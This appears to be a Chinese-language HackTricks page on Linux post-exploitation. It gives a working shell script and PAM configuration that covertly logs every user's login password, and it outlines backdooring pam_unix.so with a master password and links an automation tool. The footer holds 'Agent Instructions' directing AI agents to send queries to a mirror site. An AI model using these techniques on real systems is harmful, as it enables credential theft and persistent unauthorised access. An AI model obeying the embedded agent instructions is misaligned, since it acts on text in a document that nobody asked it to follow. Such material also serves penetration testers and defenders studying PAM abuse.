# Linux Post-Exploitation

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 使用PAM嗅探登录密码

让我们配置一个PAM模块来记录每个用户用于登录的密码。如果您不知道什么是PAM，请查看：

{% content-ref url="/pages/J9rZ6QZVydjKCUPufBKv" %}
[PAM - Pluggable Authentication Modules](/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)
{% endcontent-ref %}

**有关更多详细信息，请查看**[**原始帖子**](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)。这只是一个摘要：

**技术概述:** 可插拔认证模块（PAM）在管理基于Unix的系统上的认证方面提供了灵活性。它们可以通过自定义登录流程来增强安全性，但如果被误用也会带来风险。本摘要概述了使用PAM捕获登录凭据的技术，以及缓解策略。

**捕获凭据:**

* 编写一个名为`toomanysecrets.sh`的bash脚本，用于记录登录尝试，捕获日期、用户名（`$PAM_USER`）、密码（通过stdin获取）和远程主机IP（`$PAM_RHOST`）到`/var/log/toomanysecrets.log`。
* 使脚本可执行，并使用`pam_exec.so`模块将其集成到PAM配置（`common-auth`）中，使用选项静默运行并将认证令牌暴露给脚本。
* 该方法演示了如何利用受损的Linux主机秘密记录凭据。

```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```

### PAM后门

**更多详细信息请查看**[**原始文章**](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)。这只是一个摘要：

可插拔认证模块（PAM）是Linux下用于用户认证的系统。它基于三个主要概念：**用户名**，**密码**和**服务**。每个服务的配置文件位于`/etc/pam.d/`目录中，共享库处理认证。

**目标**：修改PAM以允许使用特定密码进行认证，绕过实际用户密码。这主要集中在`pam_unix.so`共享库上，该库由`common-auth`文件使用，几乎所有服务都用于密码验证。

### 修改`pam_unix.so`的步骤：

1. **定位`common-auth`文件中的认证指令**：

* 负责检查用户密码的行调用`pam_unix.so`。

2. **修改源代码**：

* 在`pam_unix_auth.c`源文件中添加一个条件语句，如果使用预定义密码，则授予访问权限，否则继续常规认证过程。

3. **重新编译和替换**修改后的`pam_unix.so`库到适当的目录。
4. **测试**：

* 使用预定义密码跨各种服务（登录、ssh、sudo、su、屏幕保护程序）授予访问权限，而正常的认证过程保持不受影响。

{% hint style="info" %}
您可以使用<https://github.com/zephrax/linux-pam-backdoor>自动化此过程。
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/linux-hardening/linux-post-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
